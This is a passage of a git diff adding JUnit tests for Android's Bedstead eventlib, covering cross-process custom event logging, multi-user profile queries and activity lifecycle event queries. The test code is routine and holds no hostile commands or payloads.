+        // as we're blocking for the event in this method
+        mScheduledExecutorService.schedule(() -> {
+            logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        }, 1, TimeUnit.SECONDS);
+
+        assertThat(eventLogs.pollOrFail()).isNotNull();
+    }
+
+    @Test
+    public void otherProcessGetsKilled_stillReturnsLogs() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ null);
+
+        killTestApp();
+
+        assertThat(CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).get()).isNotNull();
+    }
+
+    @Test
+    public void otherProcessGetsKilledMultipleTimes_stillReturnsOriginalLog() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        killTestApp();
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        killTestApp();
+
+        assertThat(
+                CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).get().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void otherProcessGetsKilled_returnsLogsInCorrectOrder() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        killTestApp();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void otherProcessGetsKilledMultipleTimes_returnsLogsInCorrectOrder() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        killTestApp();
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        killTestApp();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void differentUser_queryWorks() {
+        UserHandle userHandle = createProfile();
+        try {
+            installTestAppInUser(userHandle);
+            logCustomEventOnTestApp(userHandle, /* tag= */ TEST_TAG1, /* data= */ null);
+
+            EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                    .onUser(userHandle);
+
+            assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+        } finally {
+            removeUser(userHandle);
+        }
+    }
+
+    @Test
+    public void differentUserSpecifiedByUserReference_queryWorks() {
+        UserHandle userHandle = createProfile();
+        try {
+            installTestAppInUser(userHandle);
+            logCustomEventOnTestApp(userHandle, /* tag= */ TEST_TAG1, /* data= */ null);
+
+            EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                    .onUser(mTestApis.users().find(userHandle.getIdentifier()));
+
+            assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+        } finally {
+            removeUser(userHandle);
+        }
+    }
+
+    @Test
+    public void differentUser_doesntGetEventsFromWrongUser() {
+        UserHandle userHandle = createProfile();
+        try {
+            installTestAppInUser(userHandle);
+            logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+            logCustomEventOnTestApp(userHandle, /* tag= */ TEST_TAG2, /* data= */ null);
+
+            EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                    .onUser(userHandle);
+
+            assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+            assertThat(eventLogs.next()).isNull();
+        } finally {
+            removeUser(userHandle);
+        }
+    }
+
+    @Test
+    public void onUser_passesNullUser_throwsNullPointerException() {
+        assertThrows(NullPointerException.class,
+                () -> CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                        .onUser(/* userHandle= */(UserHandle) null));
+    }
+
+    @Test
+    public void onUser_passesNullUserReference_throwsNullPointerException() {
+        assertThrows(NullPointerException.class,
+                () -> CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                        .onUser(/* userHandle= */(UserReference) null));
+    }
+
+    @Test
+    public void incorrectUserHandle_fails() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .onUser(NON_EXISTING_USER_HANDLE);
+
+        assertThrows(AssertionError.class, eventLogs::get);
+    }
+
+    @Test
+    public void incorrectPackageName_fails() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(INCORRECT_PACKAGE_NAME);
+
+        assertThrows(AssertionError.class, eventLogs::get);
+    }
+
+    private UserHandle createProfile() {
+        UserManager userManager = CONTEXT.getSystemService(UserManager.class);
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        UserHandle userHandle = userManager.createProfile("profile",
+                UserManager.USER_TYPE_PROFILE_MANAGED, new HashSet<>());
+        SystemUtil.runShellCommandOrThrow("am start-user -w " + userHandle.getIdentifier());
+        return userHandle;
+    }
+
+    private void installTestAppInUser(UserHandle userHandle) {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            CONTEXT.getPackageManager().installExistingPackageAsUser(
+                    TEST_APP_PACKAGE_NAME, userHandle.getIdentifier());
+
+        } catch (PackageManager.NameNotFoundException e) {
+            fail("Could not install test app in user", e);
+        }
+    }
+
+    private void removeUser(UserHandle userHandle) {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        CONTEXT.getSystemService(UserManager.class).removeUser(userHandle);
+    }
+
+    private void scheduleCustomEventInOneSecond() {
+        hasScheduledEvents = true;
+
+        mScheduledExecutorService.schedule(() -> {
+            CustomEvent.logger(CONTEXT)
+                    .log();
+        }, 1, TimeUnit.SECONDS);
+    }
+
+    private void logCustomEventOnTestApp(UserHandle userHandle, String tag, String data) {
+        Intent intent = new Intent();
+        intent.setPackage(TEST_APP_PACKAGE_NAME);
+        intent.setClassName(TEST_APP_PACKAGE_NAME, TEST_APP_PACKAGE_NAME + ".EventLoggingActivity");
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        intent.putExtra("TAG", tag);
+        intent.putExtra("DATA", data);
+
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        CONTEXT.startActivityAsUser(intent, userHandle);
+
+        CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(tag)
+                .whereData().isEqualTo(data)
+                .onUser(userHandle)
+                .pollOrFail();
+    }
+
+    private void logCustomEventOnTestApp(String tag, String data) {
+        logCustomEventOnTestApp(UserHandle.CURRENT, tag, data);
+    }
+
+    private void logCustomEventOnTestApp() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+    }
+
+    private void scheduleCustomEventInOneSecondOnTestApp() {
+        hasScheduledEventsOnTestApp = true;
+
+        mScheduledExecutorService.schedule(
+                (Runnable) this::logCustomEventOnTestApp, 1, TimeUnit.SECONDS);
+    }
+
+    private void killTestApp() {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        CONTEXT.getSystemService(ActivityManager.class).forceStopPackage(TEST_APP_PACKAGE_NAME);
+    }
+
+    // TODO: Ensure tests work on O+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
new file mode 100644
index 0000000..df69669
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class CustomEventTest {
+
+    // TODO: We need a standard pattern for testing that events log correctly cross-process
+    // (when within the process serialization never happens)
+
+    private static final Context CONTEXT = InstrumentationRegistry.getInstrumentation().getContext();
+    private static final String TAG_1 = "TAG_1";
+    private static final String TAG_2 = "TAG_2";
+    private static final String DATA_1 = "DATA_1";
+    private static final String DATA_2 = "DATA_2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereTag_works() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TAG_1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TAG_1);
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TAG_1);
+    }
+
+    @Test
+    public void whereTag_skipsNonMatching() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TAG_1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TAG_2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TAG_2);
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TAG_2);
+    }
+
+    @Test
+    public void whereData_works() {
+        CustomEvent.logger(CONTEXT)
+                .setData(DATA_1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereData().isEqualTo(DATA_1);
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void whereData_skipsNonMatching() {
+        CustomEvent.logger(CONTEXT)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setData(DATA_2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereData().isEqualTo(DATA_2);
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_2);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
new file mode 100644
index 0000000..e2309c3
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityCreatedEventTest {
+
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+    private static final String STRING_KEY = "Key";
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+
+    private final Bundle mSavedInstanceState = new Bundle();
+    private final PersistableBundle mPersistentState = new PersistableBundle();
+
+    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereSavedInstanceState_works() throws Exception {
+        mSavedInstanceState.putString(STRING_KEY, STRING_VALUE);
+        ActivityContext.runWithContext((activity) ->
+                ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                        .log());
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereSavedInstanceState()
+                            .key(STRING_KEY).stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().savedInstanceState()).isEqualTo(mSavedInstanceState);
+    }
+
+    @Test
+    public void whereSavedInstanceState_skipsNonMatching() throws Exception {
+        Bundle differentInstanceState = new Bundle();
+        differentInstanceState.putString(STRING_KEY, DIFFERENT_STRING_VALUE);
+        mSavedInstanceState.putString(STRING_KEY, STRING_VALUE);
+
+        ActivityContext.runWithContext((activity) -> {
+            ActivityCreatedEvent.logger(activity, differentInstanceState)
+                    .log();
+            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                    .log();
+        });
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereSavedInstanceState()
+                            .key(STRING_KEY).stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().savedInstanceState()).isEqualTo(mSavedInstanceState);
+    }
+
+    @Test
+    public void wherePersistentState_works() throws Exception {
+        mPersistentState.putString(STRING_KEY, STRING_VALUE);
+        ActivityContext.runWithContext((activity) ->
+                ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                        .setPersistentState(mPersistentState)
+                        .log());
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .wherePersistentState()
+                            .key(STRING_KEY).stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().persistentState()).isEqualTo(mPersistentState);
+    }
+
+    @Test
+    public void wherePersistentState_skipsNonMatching() throws Exception {
+        PersistableBundle differentPersistentState = new PersistableBundle();
+        differentPersistentState.putString(STRING_KEY, DIFFERENT_STRING_VALUE);
+        mPersistentState.putString(STRING_KEY, STRING_VALUE);
+        ActivityContext.runWithContext((activity) -> {
+            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                    .setPersistentState(differentPersistentState)
+                    .log();
+            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                    .setPersistentState(mPersistentState)
+                    .log();
+        });
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .wherePersistentState()
+                            .key(STRING_KEY).stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().persistentState()).isEqualTo(mPersistentState);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                        .log());
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+        });
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                        .log());
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                    .log();
+        });
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityDestroyedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityDestroyedEventTest.java
new file mode 100644
index 0000000..4ed7dc5
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityDestroyedEventTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityDestroyedEventTest {
+
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityDestroyedEvent.logger(activity)
+                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                        .log());
+
+        EventLogs<ActivityDestroyedEvent> eventLogs =
+                ActivityDestroyedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityDestroyedEvent.logger(activity)
+                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityDestroyedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+        });
+
+        EventLogs<ActivityDestroyedEvent> eventLogs =
+                ActivityDestroyedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityDestroyedEvent.logger(activity)
+                        .log());
+
+        EventLogs<ActivityDestroyedEvent> eventLogs =
+                ActivityDestroyedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityDestroyedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityDestroyedEvent.logger(activity)
+                    .log();
+        });
+
+        EventLogs<ActivityDestroyedEvent> eventLogs =
+                ActivityDestroyedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityPausedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityPausedEventTest.java
new file mode 100644
index 0000000..53d21df
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityPausedEventTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityPausedEventTest {
+
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityPausedEvent.logger(activity)
+                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                        .log());
+
+        EventLogs<ActivityPausedEvent> eventLogs =
+                ActivityPausedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityPausedEvent.logger(activity)
+                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityPausedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+        });
+
+        EventLogs<ActivityPausedEvent> eventLogs =
+                ActivityPausedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityPausedEvent.logger(activity)
+                        .log());
+
+        EventLogs<ActivityPausedEvent> eventLogs =
+                ActivityPausedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityPausedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityPausedEvent.logger(activity)
+                    .log();
+        });
+
+        EventLogs<ActivityPausedEvent> eventLogs =
+                ActivityPausedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityRestartedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityRestartedEventTest.java
new file mode 100644
index 0000000..e2f2efc
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityRestartedEventTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityRestartedEventTest {
+
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityRestartedEvent.logger(activity)
+                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                        .log());
+
+        EventLogs<ActivityRestartedEvent> eventLogs =
+                ActivityRestartedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityRestartedEvent.logger(activity)
+                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityRestartedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+        });
+
+        EventLogs<ActivityRestartedEvent> eventLogs =
+                ActivityRestartedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityRestartedEvent.logger(activity)
+                        .log());
+
